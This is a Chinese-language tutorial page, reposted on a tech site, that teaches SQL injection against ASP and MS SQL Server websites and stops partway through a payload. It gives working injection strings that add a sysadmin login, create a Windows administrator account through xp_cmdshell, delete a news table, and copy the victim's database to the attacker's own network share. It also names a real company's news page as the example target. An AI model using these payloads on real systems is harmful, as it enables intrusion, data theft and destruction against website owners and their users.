当前位置: 首页 > 图文教程 > 数据库 > MSSQL > SQL数据库的一些攻击

MSSQL
sql 批量修改数据库表
mssql CASE,GROUP BY用法
利用SQL SERVER建立登录WINDOWS帐号
SQL Server 2008 正式版安装指南 包含序列号
SQL Server 2008图文安装教程
sql 语句 取数据库服务器上所有数据库的名字
sqlserver 数据类型转换小实验
SQL Server 存储过程解析
压缩技术给SQL Server备份文件瘦身
SQL Server 2005 还原数据库错误解决方法
Sql Server datetime问题
SQL语句 操作全集 学习mssql的朋友一定要看
格式导致的Excel导入sql出现异常的解决方法
SQL Server 数据库自动执行管理任务
sql Set IDENTITY_INSERT的用法
sql 修改表的所有者
过程需要参数 ''@statement'' 为 ''ntext/nchar/nvarchar'' 类型
mssql 建立索引
SQL Server 索引结构及其使用(一)--深入浅出理解索引结构
SQL Server 索引结构及其使用(二) 改善SQL语句

MSSQL 中的 SQL数据库的一些攻击


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-30   浏览: 89 ::
收藏到网摘: n/a

  SQL数据库的一些攻击
转载:inburst(闯入)
来源:Hectic

SQL数据库的一些攻击

Hectic


关于数据库的简单入侵和无赖破坏,以天融信做例子


对于国内外的很多新闻,BBS和电子商务网站都采用ASP+SQL设计,而写 ASP的程序员很多(有很多刚刚毕业的),所以,ASP+SQL的攻击成功率也比较高。这类攻击方法与NT的版本和SQL的版本没有多大的关系,也没有相应的补丁,因为漏洞是程序员自己造成的,而且大多数讲解ASP编程的书上,源代码例子就有这个漏洞存在,其实只是一些合法的ASP对SQL的请求,就留下后患无穷!   
这种攻击方法最早源于'or'1'='1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;exec sp_addlogin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的SQL Server账号是个管理员,其次请求的提交变量在整个SQL语句的最后,因为有一些程序员采用SELECT * FROM news WHERE id=... AND topic=... AND .....  这种方法请求数据库,那么如果还用以上的例子就会news.asp?id=2;exec sp_addlogin hax  
变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...   
整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方法   
news.asp?id=2;exec sp_addlogin hax;--   
后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行!   
那么我们连一起来用吧   
news.asp?id=2;exec master.dbo.sp_addlogin hax;--   
news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--   
news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--   
news.asp?id=2;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes

/active:yes /add';--   
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--   
这样,你在他的数据库和系统内都留下了hax管理员账号了   
当然,前提条件是ASP用管理员账号,所以虚拟空间大家就别试了,不会存在这个漏洞的。   
以后我们会讨论,如果对方的ASP不是用SQL管理员账号,我们如何入侵,当然也会涉及到1433端口的入侵
当然大家可以试试看在id=2后面加上一个'符号,主要看对方的ASP怎么写了
   

再说说当ASP程序使用的SQL账号不是管理员的时候我们该如何做。   
你如天融信的主页,有新闻内容,如下:   
http://www.talentit.com.cn/news/news-2.asp?newid=117   
大家可以试试看http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;--   
呵呵,报语法错误,select 123错误,显而易见,天融新的ASP在newid变量后面用'号结束   
那么试试看http://www.talentit.com.cn/news/news-2.asp?newid=117';delete news;--   
哈哈,我想只要表名猜对了,新闻库就被删了   

通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个库有很高的管理权限   
但是我们不知道库名该怎么?看看db_name()函数吧   
打开你的query analyzer,看看print db_name() ,呵呵,当前的数据库名就出来了   
以次类推,如下: declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';--   
呵呵,他的当前数据库就备份到你的硬盘上了,接下来要做的大家心里都明白了吧   
同理这个方法可以找到对方的SQL的IP   
先装一个防火墙,打开ICMP和139TCP和445TCP的警告提示   
然后试试看news.asp?id=2;exec master.dbo.xp_cmdshell 'ping 你的IP'   
如果防火墙提示有人ping你,那么因该可以肯定对方的ASP用的是SQL的管理员权限,同时也确定了对方的SQL Server的准确位置,因为很多大

一点的网站考虑性能,会吧web服务和数据库分开,当对方大上了补丁看不到源代码时,我想只有这个方法能很快的定位对方的SQL Server的位置了   
那么,如果对方ASP没有SQL管理员权限,我们就不能调用xp_cmdshell了,该怎么办?   
别着急,试试看这个news.asp?id=2;declare @a;set @a=db_name();backup databas